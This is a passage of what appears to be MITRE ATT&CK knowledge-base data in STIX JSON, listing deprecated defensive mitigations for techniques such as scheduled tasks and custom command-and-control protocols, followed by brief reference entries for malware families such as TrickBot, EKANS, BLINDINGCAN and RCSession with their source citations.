2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.375Z","name":"Scheduled Task Mitigation","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f2dcee22-c275-405e-87fd-48630a19dfba","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1203","external_id":"T1203"},{"url":"https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/","description":"Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.","source_name":"Windows Blogs Microsoft Edge Sandbox"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"},{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2019-07-24T19:22:39.193Z","name":"Exploitation for Client Execution Mitigation","description":"Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1094","external_id":"T1094"},{"source_name":"University of Birmingham C2","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T18:13:22.017Z","name":"Custom Command and Control Protocol Mitigation","description":"Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1057","url":"https://attack.mitre.org/mitigations/T1057","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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(Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","type":"course-of-action","created":"2019-06-11T16:43:44.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1041","url":"https://attack.mitre.org/mitigations/M1041"}],"modified":"2019-06-11T16:43:44.834Z","name":"Encrypt Sensitive Information","description":"Protect sensitive information with strong encryption.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1122","url":"https://attack.mitre.org/mitigations/T1122","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. 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(Citation: Baumgartner Naikon 2015)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security","Cybereason Nocturnus, @nocturnus","Omkar Gudhate","FS-ISAC"],"x_mitre_aliases":["TrickBot","Totbrick","TSPY_TRICKLOAD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0266","external_id":"S0266"},{"source_name":"TrickBot","description":"(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)"},{"source_name":"Totbrick","description":"(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)"},{"source_name":"TSPY_TRICKLOAD","description":"(Citation: Trend Micro Totbrick Oct 2016)"},{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"source_name":"Fidelis TrickBot Oct 2016","description":"Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.","url":"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"},{"url":"https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/","description":"Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot’s Machinations. Retrieved August 2, 2018.","source_name":"IBM TrickBot Nov 2016"},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."},{"source_name":"Trend Micro Totbrick Oct 2016","description":"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"},{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."},{"source_name":"Microsoft Totbrick Oct 2017","description":"Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. 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(2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."},{"source_name":"Palo Alto Unit 42 EKANS","url":"https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/","description":"Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021."},{"source_name":"FireEye Ransomware Feb 2020","url":"https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html","description":"Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)","modified":"2022-04-21T01:05:24.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"EKANS","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["BLINDINGCAN"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","type":"malware","created":"2020-10-27T18:45:58.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0520","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0520"},{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."},{"source_name":"NHS UK BLINDINGCAN Aug 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3603","description":"NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020."}],"modified":"2021-03-17T15:55:56.257Z","name":"BLINDINGCAN","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Wiarp"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--039814a0-88de-46c5-a4fb-b293db21880a","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0206","external_id":"S0206"},{"source_name":"Wiarp","description":"(Citation: Symantec Wiarp May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Wiarp May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}],"modified":"2021-01-06T19:32:28.378Z","name":"Wiarp","description":"[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RCSession"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--03acae53-9b98-46f6-b204-16b930839055","created":"2021-11-19T19:47:26.552Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0662","url":"https://attack.mitre.org/software/S0662"},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-15T14:57:26.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"RCSession","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Spark"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","type":"malware","created":"2020-12-15T01:30:05.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0543","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0543"},{"source_name":"Spark","description":"\n(Citation: Unit42 Molerat Mar 2020) "},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2021-08-18T23:49:01.615Z","name":"Spark","description":"\n[Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020) ","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["QuietSieve"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","created":"2022-02-18T16:46:39.268Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0686","url":"https://attack.mitre.org/software/S0686"},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:31:52.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"QuietSieve","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SynAck"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0242","external_id":"S0242"},{"source_name":"SynAck","description":"(Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)"},{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"},{"source_name":"Kaspersky Lab SynAck May 2018","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging"}],"modified":"2021-09-08T19:22:44.438Z","name":"SynAck","description":"[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["MURKYTOP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0233","external_id":"S0233"},{"source_name":"MURKYTOP","description":"(Citation: FireEye Periscope March 2018)"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-30T17:00:19.828Z","name":"MURKYTOP","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GRIFFON"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","type":"malware","created":"2019-10-11T17:29:20.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0417","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0417"},{"description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019.","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","source_name":"SecureList Griffon May 2019"}],"modified":"2020-06-23T19:20:45.892Z","name":"GRIFFON","description":"[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Exaramel for Windows"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","type":"malware","created":"2019-01-30T15:10:03.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0343","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0343"},{"source_name":"Exaramel for Windows","description":"(Citation: ESET TeleBots Oct 2018)"},{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."}],"modified":"2020-06-17T23:21:44.445Z","name":"Exaramel for Windows","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RDFSNIFFER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--065196de-d7e8-4888-acfb-b2134022ba1b","type":"malware","created":"2019-10-11T16:13:19.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0416","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0416"},{"source_name":"FireEye FIN7 Oct 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019."}],"modified":"2019-10-16T15:34:22.990Z","name":"RDFSNIFFER","description":"[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["Proxysvc"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--069af411-9b24-4e85-b26c-623d035bbe84","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0238","external_id":"S0238"},{"source_name":"Proxysvc","description":"(Citation: McAfee GhostSecret)"},{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2020-03-30T17:23:20.589Z","name":"Proxysvc","description":"[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Orz","AIRBREAK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.2","external_references":[{"source_name":"mitre-attack","external_id":"S0229","url":"https://attack.mitre.org/software/S0229"},{"source_name":"AIRBREAK","description":"(Citation: FireEye Periscope March 2018)"},{"source_name":"Orz","description":"(Citation: Proofpoint Leviathan Oct 2017)"},{"source_name":"Proofpoint Leviathan Oct 2017","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, 